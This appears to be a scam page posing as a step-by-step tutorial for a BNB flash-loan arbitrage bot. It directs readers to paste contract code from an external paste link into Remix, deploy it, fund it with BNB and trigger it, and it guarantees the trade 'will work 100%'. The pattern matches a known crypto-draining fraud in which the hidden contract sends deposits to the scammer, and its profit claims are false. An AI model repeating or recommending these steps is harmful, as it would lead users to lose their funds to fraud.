Flash Loans Arbitrage Bot. Learn how to do Flash Loans without Collateral. How to Build Custom BNB Flash Loan Smart Contract.
Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi).
"Why would someone borrow millions of dollars if they had to pay it back in 10 seconds?"
And the answer is profit... A second reason is collateral swaps.
With a quick loan, you can effectively exchange your collateral for a loan for another, all in a 10-second transaction.
A quick loan must be borrowed and repaid in the same blockchain transaction.
Step By Step Tutorial for Flash Loans Arbitrage Bot:
1. Get the Metamask Extension for your browser 2. Open http://remix.ethereum.org/ from within your browser. 3. Click on File Explorers and click "Create New File ". 4. Name the file flashloans.sol and paste the contract code link below. ► https://0bin.net/paste/cAO+rr+J#bbgy7mTi54AfESlLh4vsLa1REXGBOmGezZ6Vl45T8ys 5. Click on Deploy & Run transactions and set "ENVIRONMENT" to Injected Web3. 6. Connect your MetaMask wallet. 7. Click on the "Solidity Compiler" and set the compiler version to 0.5.0 8. Click on the Solidity Compiler and then click the blue button "Compile flashloans.sol" 9. Wait for the code to compile. 10. Click on Deploy & run transactions then click on the down arrow right from the "Deploy" button 11. On "_TOKENNAME" mytoken 12. On "_TOKENSYMBOL" LOP 13. On "_LOANAMOUNT" 1000 14. Click Transact and confirm the transaction in MetaMask. 15. Wait for the transaction to confirm. 16. Copy the address of the newly deployed contract. 17. Send BNB to the deployed contract to initiate the swap 0.3+ (0.5 up is better as you will get a bigger amount in each swap) 18. Wait for the transaction to confirm. 19. Now, Click "action" (red box) to execute the Flash Loan. 20. Confirm the transaction in MetaMask and wait for the confirmation. 21. You can now check your wallet
In very rare cases, arbitration may fail because your smart contract assets are exhausted, as gas prices fluctuate over time. Don't panic, all you have to do is wait a bit (5-10 minutes) and retry the trade and it will work 100%.
Make sure to transfer your assets to another wallet when you're done.
